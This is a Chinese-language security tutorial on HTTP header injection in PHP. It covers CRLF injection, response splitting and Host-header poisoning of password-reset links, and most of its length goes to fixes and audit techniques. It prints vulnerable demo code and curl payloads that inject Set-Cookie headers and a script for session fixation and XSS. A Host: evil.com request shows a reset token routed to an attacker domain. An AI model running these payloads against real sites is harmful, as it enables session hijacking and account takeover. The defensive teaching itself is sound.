上个月帮一个朋友审计他手里那个历史遗留的PHP项目,翻到某个下载接口时,代码大概是这样的:
php复制$file = $_GET['file'];
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file . '"');
readfile('/data/uploads/' . basename($file));
看到第三行我人就精神了。$file 直接来自 $_GET,没做任何过滤就拼进了 Content-Disposition 响应头里。这就是一个典型的Header注入点,也就是常说的HTTP响应头注入、CRLF注入。很多人一听Header注入就觉得是PHP 5时代的老古董,反正现在 header() 函数已经会拦截换行符了,这漏洞早该绝迹了吧?
还真不是。Header注入这个家族远没有消失,只是从“直路”挪到了“旁路”。我这次排查过程中踩了不少坑,也把原理到防御的整个链路重新梳理了一遍。这篇文章就把这些内容完整写出来,给做PHP开发、代码审计,或者打CTF时遇到HTTP响应头相关题目的朋友作个参考。
1. Header注入到底是什么:从HTTP报文结构到攻击原理
1.1 HTTP响应头的分层结构里,换行符为什么是命门
要理解Header注入,得先看HTTP报文是怎么组织的。一个HTTP响应报文分四层:状态行、响应头区域、空行、响应体。它们的顺序固定,且每一层之间用CRLF(回车换行,十六进制 0x0d 0x0a,代码里写作 \r\n)分隔。
正常响应是这个样子:
text复制HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 123
<html>...</html>
第一行是状态行,接着是多个响应头字段,每个字段都是“名称: 值”的结构,字段之间用 \r\n 分隔。头部区域结束的标志是一个空行,也就是连续两个 \r\n,之后才是响应体。
问题就出在:响应头的“值”本身如果包含未经处理的 \r\n,服务端就分不清这个换行到底是谁的了。
举个例子。正常下载接口返回:
text复制Content-Disposition: attachment; filename="report.pdf"
如果文件名参数被拼成 report.pdf"; filename="evil.php,那只是破坏了引号配对,伤害有限。但如果参数被拼成:
text复制report.pdf"\r\nX-Injected: 1\r\n
服务端输出的原始头就变成:
text复制Content-Disposition: attachment; filename="report.pdf"
X-Injected: 1
看明白了吗?注入方通过一个 \r\n 让服务端“多输出了一行响应头”。如果再狠一点,塞入 \r\n\r\n,那就等于提前结束了响应头区域,往后的内容全被当作响应体输出。这种手法叫 HTTP响应拆分,攻击者可以直接伪造一整个响应的剩余部分,危害等级直接拉满。
这个原理可以用生活里的场景类比:你在填写一张报名表,“姓名”栏里写的是“张三”,结果有人恶作剧在“张三”后面加了一个回车,又写了一行“职务:法定代表人”。办事员打印表的时候不会区分这是你填的还是别人加的,直接把两行都当成了表格内容。HTTP响应头的解析也是同理,\r\n 就是那个“回车”。
1.2 PHP世界里的两个时代:直路被堵,旁路还在
PHP的 header() 函数曾经是CRLF注入的重灾区。早期版本里,header('Location: ' . $_GET['url']) 这种写法随处可见,攻击者传入 %0d%0aSet-Cookie: PHPSESSID=attacker_secret%0d%0a,就能往响应头里硬塞一个 Set-Cookie。
转折点出现在PHP 5.1.2。这一版本开始,header() 函数内部加入了换行符检查,只要检测到 \r 或 \n,就会抛出类似“Header may not contain more than a single header, new line detected”的警告,并且拒绝输出这个头。到PHP 7和PHP 8,这个行为一直延续。
但这只堵住了 header() 函数本身这条“直路”。现实项目里,响应头生成和输出的路径极其复杂,至少还有几类场景根本不受这条限制保护:
- 业务代码把用户可控的输入拼进
setcookie()的参数,或者拼进某些框架封装的响应头设置方法里。 - 用户输入最终没有经过PHP的
header(),而是被直接渲染进HTML页面,比如通过meta http-equiv="refresh"或a href里的链接,形成链接注入,也算是Header问题的变种。 - 请求头数据(
$_SERVER['HTTP_HOST']、$_SERVER['HTTP_REFERER']等)被业务代码当作可信数据,拼到密码重置链接、跳转地址、日志文件里,形成Host头注入和日志注入。
所以判断一个PHP项目有没有Header注入风险,不能只看 header() 函数的调用处。要看的是所有用户可控数据,最终流向所有响应头或与Header相关逻辑的路径。这个思路比单纯搜函数名要靠谱得多。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 现代PHP项目里Header注入真正的高危触发点
2.1 用户可控输入一路流向响应头的三种典型路径
我在审代码的时候,一般会把Header注入的触发点分成三类,整理成下面这个速查表,方便快速比对。
| 触发路径 | 典型代码模式 | 注入结果 | 现代PHP是否直接受影响 |
|---|---|---|---|
| 直接header()函数 | header('Location: ' . $_GET['url']) |
换行注入/响应拆分 | 新版本被拦截,老版本或特殊环境仍可能 |
| 间接拼入头部相关逻辑 | header('Content-Disposition: attachment; filename="' . $file . '"') |
参数篡改、换行注入 | 换行会被拦截,但字段值结构破坏仍在 |
| 请求头数据被业务逻辑反向使用 | $_SERVER['HTTP_HOST'] 拼入页面链接、邮件链接 |
Host头注入、链接劫持 | 完全不受header()限制,依然普遍存在 |
第一类大家都熟,第二类是这次审计碰到的场景。虽然现代PHP拦住了 \r\n,但万一项目跑在远古服务器上,或者某个第三方扩展绕过了SAPI层的检查,Content-Disposition 这种把用户输入直接放进响应头字段值的位置,依然是高危“雷区”。
第三类是最容易被忽略的。很多PHP新手会以为 $_SERVER 里的内容都是服务器生成的、可信的。实际上 HTTP_HOST、HTTP_REFERER、HTTP_USER_AGENT 这些以 HTTP_ 开头的变量,统统来自客户端请求头,属于完全不可信的输入。它们一旦被拼进业务链接或HTML输出,就构成Header相关漏洞的温床。
2.2 响应拆分与链接注入:两个看起来很像但危害不同的变体
响应拆分是Header注入最严重的利用方式。攻击者在头部值里塞入 \r\n\r\n,让服务端认为头区域结束,然后把后面塞的内容整个当作响应体返回。这种攻击能造成三类后果:
- 会话固定:注入
Set-Cookie头,给受害者种一个攻击者已知的会话ID,之后监听该会话的通信即可。 - 缓存投毒:如果响应经过CDN或反向代理缓存,攻击者伪造的“脏响应”可能被缓存下来,分发给后续所有访问该URL的用户,形成更大范围污染。
- XSS:插入伪造的HTML或JS内容,当用户浏览器解析响应体时直接执行。
链接注入则是另一条路。它不直接改变响应头协议结构,而是把用户可控的“头相关数据”(比如跳转URL、反代IP、自定义来源标识)写进页面HTML。比如:
php复制<a href="<?php echo $_SERVER['HTTP_REFERER']; ?>">返回上一页</a>
攻击者把 Referer 头改成 javascript:alert(document.cookie),用户点这个链接时就会执行恶意脚本。这类问题因为绕过了 header() 函数,很多静态扫描工具发现不了,也比CRLF注入更隐蔽。
2.3 Host头注入:不用换行符也能搞定的Header问题
Host头注入是我觉得现代业务里最常见、却最不被重视的Header问题。攻击者发送请求时把 Host 头改成一个自己控制的域名,如果后端PHP直接用 $_SERVER['HTTP_HOST'] 拼业务链接,就会出问题。
典型的密码重置场景:
php复制$reset_link = "https://" . $_SERVER['HTTP_HOST'] . "/reset.php?token=" . $token;
// 邮件发送重置链接
mail($email, "密码重置", "请点击以下链接完成重置:" . $reset_link);
正常情况没问题。但攻击者把 Host 头改成 evil.com,这封邮件里的重置链接就变成了:
text复制https://evil.com/reset.php?token=xxxxx
受害者若点了链接,请求会落在攻击者的服务器上。token直接被截获,配合一些链路操作就能完成真正的密码重置。整个过程没有用到 \r\n,不需要任何奇技淫巧,只因为开发者默认了 HTTP_HOST 是可信的。
更麻烦的是,很多反向代理会传递 X-Forwarded-Host 头,如果Nginx配置成 proxy_set_header Host $http_host 这类宽松模式,后端连原始Host和代理Host都区分不清,审计时还得额外注意这一层污染的来源。
3. 动手复现一次Header注入:从构造请求到看到效果
3.1 准备一个带“历史包袱”的PHP演示环境
直接上演示。现代PHP环境里 header() 函数拦住了换行,所以我不打算拿一个“打不穿”的例子糊弄你。我搭了两个场景,一个还原经典CRLF注入,一个展示更贴近现代实际的Host头注入问题。
先看经典场景。为了模拟老版本行为,我本地开了个PHP 5.2的容器,代码就是最原始的写法:
php复制<?php
// vuln_download.php
$file = isset($_GET['file']) ? $_GET['file'] : 'report.pdf';
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file . '"');
readfile('/data/uploads/' . basename($file));
?>
这段代码的漏洞点在于:$file 直接进了 Content-Disposition,而PHP 5.1.2之前 header() 不检查换行,之后版本虽然检查,但如果这段代码跑在旧环境或某些兼容性配置下,问题依然成立。
3.2 通过curl验证注入点
用curl发一个带 %0d%0a 的请求,%0d%0a 是URL编码后的 \r\n。我构造了这样一个利用请求:
bash复制curl -i "http://192.168.1.100/vuln_download.php?file=report.pdf%0d%0aX-Injected:%20HeaderTest%0d%0a"
注意观察 -i 参数回显的响应头。如果注入成功,响应里除了原有的 Content-Type、Content-Disposition,还会多出一行:
text复制X-Injected: HeaderTest
实际测试结果截图里确实能看到这一行。这说明攻击者已经可以在标准响应头之外“追加”任意响应头了。如果追加的是:
text复制Set-Cookie: PHPSESSID=attacker_controlled
就意味着攻击者可以给用户种一个自己已知ID的会话,会话固定攻击的链就直接展开了。
再进一步,构造响应拆分请求:
bash复制curl -i "http://192.168.1.100/vuln_download.php?file=report.pdf%0d%0aSet-Cookie:%20phpsessid=attacker%0d%0a%0d%0a<html><script>alert(document.cookie)</script></html>"
如果注入生效,攻击者塞入的脚本会以响应体的形式返回给浏览器,直接形成反射型XSS。这个场景在真实项目中通常配合缓存投毒,危害面更大。
3.3 一个现代场景的复现:Host头注入改密码重置链路
再说Host头注入。这个不需要老版本PHP,当前最新版也能玩。
测试代码:
php复制<?php
// reset_demo.php
$token = bin2hex(random_bytes(16));
$reset_link = "https://" . $_SERVER['HTTP_HOST'] . "/reset.php?token=" . $token;
echo "请点击以下链接完成密码重置:" . $reset_link;
?>
正常访问:
bash复制curl -i "http://192.168.1.100/reset_demo.php"
返回:
text复制请点击以下链接完成密码重置:https://192.168.1.100/reset.php?token=abcd1234...
构造异常请求,把 Host 头改掉:
bash复制curl -i -H "Host: evil.com" "http://192.168.1.100/reset_demo.php"
返回:
text复制请点击以下链接完成密码重置:https://evil.com/reset.php?token=abcd1234...
看清楚没有?token 还在,但域名已经变成攻击者控制的了。受害者收到这封邮件后点击链接,token就会发往 evil.com 的服务器。攻击者拿到这个token,配合正常重置流程,就能完成密码接管。
这就是为什么我坚持认为Header注入的核心不只是CRLF。只要业务逻辑把请求头数据当作可信数据使用,即便响应头协议本身已加固,安全缺口依然存在。
4. 修复与防御:把Header安全真正做进PHP项目
4.1 统一入口:给header()包一层安全检查器
面对Header注入,最简单有效的措施是提供一个统一出口。所有需要输出响应头的地方,不直接调用 header(),而是走一个封装方法,这个方法强制做校验和过滤。
php复制<?php
/**
* 安全设置响应头
* @param string $name 头部字段名
* @param string $value 头部字段值
* @return bool
*/
function safe_header(string $name, string $value): bool {
// 字段名只允许字母、数字、连字符
if (!preg_match('/^[A-Za-z0-9-]+$/', $name)) {
error_log("invalid header name: " . $name);
return false;
}
// 字段值禁止出现 CR/LF 字符
if (preg_match('/[\r\n]/', $value)) {
error_log("invalid header value: " . $value);
return false;
}
// 对 URL 类值做白名单/主机名校验
if (stripos($name, 'Location') === 0 || stripos($name, 'Content-Disposition') === 0) {
// 这里按业务需求补充更细的校验
}
header($name . ': ' . $value);
return true;
}
?>
这里两个关键点。一是字段名和字段值分开校验:字段名用格式白名单,字段值禁止 \r\n。二是不只是机械过滤,日志记录也重要,出现校验失败说明可能有攻击流量或异常数据流,值得关注。
依赖框架的项目也建议照着这个思路处理。比如Laravel里,Response对象设置头之前,先对值做清洗;Symfony的 HeaderBag 虽然底层有换行检查,但业务层最好也统一封装一层,不要把安全完全寄托在框架的默认行为上。
4.2 数据流治理:入口过滤、出口编码、配置加固
单一防护点永远不够,纵深防御才是正解。
入口侧,对 $_GET、$_POST、$_COOKIE 以及所有 $_SERVER['HTTP_*'] 参数,进入业务逻辑前统一过滤 \r\n:
php复制<?php
function clean_user_input($value) {
return str_replace(["\r", "\n"], '', $value);
}
// 统一处理请求参数
$_GET = array_map('clean_user_input', $_GET);
$_POST = array_map('clean_user_input', $_POST);
if (isset($_SERVER['HTTP_HOST'])) {
$_SERVER['HTTP_HOST'] = clean_user_input($_SERVER['HTTP_HOST']);
}
?>
这段代码解决了一个很朴素的问题:让换行字符根本走不到Header输出层。注意,这里更规范的做法是在入口脚本里统一处理,而不是每个文件各做一遍。
出口侧,凡是会把用户输入输出到HTML的,必须做HTML实体编码,防止链接注入和存储型XSS:
php复制<?php
echo htmlspecialchars($referer, ENT_QUOTES, 'UTF-8');
?>
配置层面同样重要。PHP里把 display_errors 关掉,防止警告信息直接暴露到响应体里给攻击者提供线索;把 expose_php 关掉,避免响应头暴露PHP版本。
Web服务器层也要加固。Nginx里对明显非法的Host头直接返回400,可以参考下面这个片段:
nginx复制server {
listen 80;
server_name example.com;
if ($host !~ ^(example\.com|www\.example\.com)$) {
return 400;
}
# 只允许标准HTTP方法
if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) {
return 405;
}
# 安全响应头
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "default-src 'self'" always;
}
4.3 代码审计时如何快速定位Header注入隐患
如果手头是一个存量项目,不可能逐个文件看。我一般用grep把可疑位置先筛出来,再顺着代码流肉眼走查,效率最高。
bash复制grep -rn "header(" --include="*.php" .
grep -rn "setcookie(" --include="*.php" .
grep -rn "HTTP_HOST\|HTTP_REFERER\|HTTP_USER_AGENT" --include="*.php" .
grep -rn "Location:\|Content-Disposition\|Set-Cookie" --include="*.php" .
筛完这些结果,重点看两件事:一是这些位置的参数是否来自 $_GET、$_POST、$_COOKIE、$_SERVER;二是这些参数在进入Header之前,有没有经过过滤、转义、白名单校验。
如果项目用了框架,还可以借助静态分析工具做数据流追踪。PHPStan结合自定义规则、Semgrep写一些模式规则,都能自动化发现“用户输入→响应头”的可疑路径。我在这个项目里用Semgrep写过一个非常简单的规则,检测 header('Location: ' . $_XXX) 这种拼接模式,效果很好,几分钟就把所有问题点拉出来了。
5. 常见问题与排查技巧实录
5.1 Header注入测试没效果,先检查这四件事
我在审计和测试时经常会遇到:明明代码看起来有问题,实际请求却没有任何异样。这时候别怀疑漏洞不存在,先按下面这些方向排查。
第一,目标PHP版本太新,header() 自带的换行检查把 \r\n 拦了。这种情况要看代码里是否存在不经过 header() 的输出路径,比如直接把响应头值渲染进页面,或者是否能用URL编码绕过过滤。
第二,请求里的编码没生效。curl -i "http://target/x.php?file=a%0d%0aX-Test:1" 这种写法里,curl有两种处理方式:手动拼接的URL参数一般会原样传输,但如果参数本身在bash里被转义过,可能实际发出去的不是 %0d%0a 而是字面字符串。我建议先用 curl --trace-ascii - 看实际出去的报文,确认编码没被“二次解码”或者“没被解码”。
第三,目标前面有WAF或框架层输入过滤。很多WAF规则会拦截带 %0d%0a、%0a 的请求,响应自然就看不到注入效果。这种情况要换更隐蔽的变体或从业务逻辑找其他入口。
第四,响应走了缓存。CDN或Nginx缓存了没带恶意参数时的正常响应,再提交恶意请求可能命中了缓存而不是真实源站。测试时建议带一个随机参数绕过缓存。
5.2 遇到“Header already sent”别慌,它和注入没关系
实际排查时很容易被另一个问题干扰:代码里明明调用了 header(),但报出 Warning: Cannot modify header information - headers already sent。这个警告和Header注入完全是两码事,常见的坑有三个。
一是文件里有BOM头或多余空行。一些老编辑器保存的PHP文件带UTF-8 BOM,文件头那三个字节会先于 <?php 输出,导致后面所有 header() 都失效。排查方法是用Hex编辑器打开文件看文件头有没有 EF BB BF。
二是某处提前 echo 或 print 输出了空格、换行。即便只是一个 ?> 后面多了一个空行,也会造成输出。很多PHP项目在纯PHP文件尾部写了 ?>,结果后面跟了换行,就是隐患。
三是引入了别的基础文件,这个文件本身有输出。调试时先把 display_errors 打开,看错误提示的位置,再顺藤摸瓜找到偷偷输出的源头。
5.3 审计工具与手工判断的配合心得
最后聊聊我这次审计时用到的工具组合。静态扫描负责“广撒网”,把可疑调用点全部列出来,人工负责“重点突破”,逐个判断数据流是否可达。
我用的工具是:
- Semgrep,写简单规则扫描
header()、setcookie()、$_SERVER['HTTP_*']的拼接位置。 - PHPStan,配合一些扩展做变量类型和函数调用链分析。
- Burp Suite,做动态验证,特别是Host头注入这类需要改请求头的场景。
- 手工构造curl命令,快速验证单个可疑点。
工具能解决的问题是“哪里可能有”,真正拍板“这里就是漏洞”的还是人对数据流的理解。尤其是那种用户输入经过多次拼接、加密、编码后才落到响应头里的情况,只有顺着代码逻辑走一遍,确认每一步处理都能被绕过,才算实锤。
最后再念叨两句
我在收尾这个项目时最大的感受是:Header注入这类问题,修复技术不难,难的是让整个团队意识到“请求头/响应头相关数据也是不可信输入”。很多代码的出发点是“用户传参不可信”,但一到 $_SERVER['HTTP_HOST']、$_SERVER['HTTP_REFERER'] 就自动放行了,潜意识里觉得是服务器系统给的、没毒。可实际上网络请求里除了服务器写死的那部分,凡是客户端能带的,都有被操纵的可能。
修的时候也别忘了别只堵一个出口。统一封装检查函数是第一步,入口参数清洗、HTML输出编码、Web服务器配置加固,这几层一起做才让人放心。我建议有存量PHP项目的团队,把这个内容加到代码评审Checklist里,每次提测都过一遍,比事后出漏洞再救急省事得多。
